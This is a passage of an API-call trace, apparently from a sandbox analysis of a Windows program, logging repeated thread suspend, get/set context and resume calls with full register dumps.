VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0093.923] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146dd0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0093.992] ResumeThread (hThread=0x130) returned 0x1
[0093.992] CloseHandle (hObject=0x130) returned 1
[0093.992] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.106] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.140] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.216] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.319] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0094.319] SuspendThread (hThread=0x130) returned 0x0
[0094.319] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146a38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1418000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0094.388] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146a30, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0094.459] ResumeThread (hThread=0x130) returned 0x1
[0094.459] CloseHandle (hObject=0x130) returned 1
[0094.459] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.493] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.594] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.671] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0094.750] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0094.751] SuspendThread (hThread=0x130) returned 0x0
[0094.751] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001474b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x141d1c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0094.861] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001474a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, 